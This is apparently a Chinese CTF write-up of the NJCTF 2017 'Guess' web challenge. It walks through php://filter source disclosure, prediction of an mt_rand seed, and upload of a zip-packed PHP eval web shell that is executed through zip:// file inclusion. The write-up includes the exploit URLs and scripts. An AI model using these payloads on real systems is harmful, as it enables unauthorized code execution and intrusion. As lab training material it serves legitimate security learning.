攻防世界 2017 NJCTF Web Guess

不错的一道题目,记录一下~

0x01 文件上传

http://111.198.29.45:30117/?page=upload (ADWorld攻防世界提供靶场)

打开题目发现疑似文件上传题目,随机选取一张图片上传后回显如下:

image.png

初步判断为(文件名校验)白名单+服务端验证。(那么上传成功后的文件在哪呢?

0x02 文件包含

简单探测后发现存在index.php、upload.php文件,观察URL中的?page=upload,可能存在文件包含漏洞?

php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include.

尝试使用php://filter伪协议读取源码,Payload:

//读取index.php
http://111.198.29.45:30117/?page=php://filter/read=convert.base64-encode/resource=index
//读取upload.php
http://111.198.29.45:30117/?page=php://filter/read=convert.base64-encode/resource=upload

解Base64后获取如下源码:

  • index.php(部分)
<?php
error_reporting(0);

session_start();
if(isset($_GET['page'])){
    $page=$_GET['page'];
}else{
    $page=null;
}

if(preg_match('/\.\./',$page))
{
    echo "<div class=\"msg error\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
    die();
}

?>

<?php

if($page)
{
    if(!(include($page.'.php')))
    {
        echo "<div class=\"msg error\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>error!</div>";
        exit;
    }
}
?>
  • upload.php
<?php
error_reporting(0);
function show_error_message($message)
{
    die("<div class=\"msg error\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function show_message($message)
{
    echo("<div class=\"msg success\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function random_str($length = "32")
{
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    return $str;
}

session_start();



$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {

    $seed = rand(0,999999999);
    mt_srand($seed);
    $ss = mt_rand();
    $hash = md5(session_id() . $ss);
    setcookie('SESSI0N', $hash, time() + 3600);

    if ($_FILES["file"]["error"] > 0) {
        show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
    }
    $check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
            || ($_FILES["file-upload-field"]["type"] == "image/jpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/png"))
        && ($_FILES["file-upload-field"]["size"] < 204800));
    $check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));


    if ($check3) show_error_message("Nope!");
    if ($check2) {
        $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
        if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
            show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
        } else show_error_message("Something wrong with the upload...");
    } else {
        show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
    }
}
?>

0x03 种子爆破

对upload.php源代码进行审计,可得到如下信息:

1.上传文件校验方式为文件名白名单验证,很容易绕过进而上传含有恶意代码的图片格式文件。

2.成功上传的文件保存在如下路径:

$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];

跟进random_str()函数:

function random_str($length = "32")
{
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    return $str;
}

观察到想要预测random_str的值,需要获取mt_rand()函数的播种种子值。

参考文章:

跟进upload.php中的$seed

$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);

mt_srand ([ int $seed ] ) : void 用 seed 来给随机数发生器播种。

这里使用burpsuite抓包修改PHPSESSION的值为空,则session_id()的返回值为空,此时Response中的SESSION参数的值即为$hash,即为$ss(播种随机数)经过MD5加密后的值。

0x04 攻击流程

  • 1.构造恶意文件pass.php,压缩为pass.zip,修改后缀为pass.png后上传。
//pass.php
<?php @eval($_GET["pass"]); ?>
  • 2.上传时修改PHPSESSION为空,获取响应的SESSION进行在线MD5解密,获取播种后的随机数。
image.png

由获取的播种后的随机数,借助种子爆破工具探测种子:

image.png
  • 3.根据获取的种子值进行播种,构造所有可能的文件保存路径,经过校验获取真实路径。
//check.php
<?php
    $arr = array(116339511, 616856024);
    foreach($arr as $a) {
        mt_srand($a);
        $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
                 "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
                 "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
                 "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
                 "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
        $str = '';
        $ss = mt_rand();  // 这一步必须加上,否则与服务器端的随机值对应不上
        for ($i = 1; $i <= 32; ++$i) {
            $ch = mt_rand(0, count($set) - 1);
            $str .= $set[$ch];
        }
        echo 'http://111.198.29.45:30015/uP1O4Ds/' . $str . '_pass.png' . "\n";
    }
?>
  • 2.借助文件包含漏洞,通过zip://伪协议读取恶意zip压缩文件,进而执行系统命令。
//payload url编码后提交
http://111.198.29.45:30117/?page=zip://uP1O4Ds/naIx79yt4YdpPMM4CeaFfXlmYMWdKFyh_pass.png#pass&pass=echo system("ls");
image.png

进而读取flag:

image.png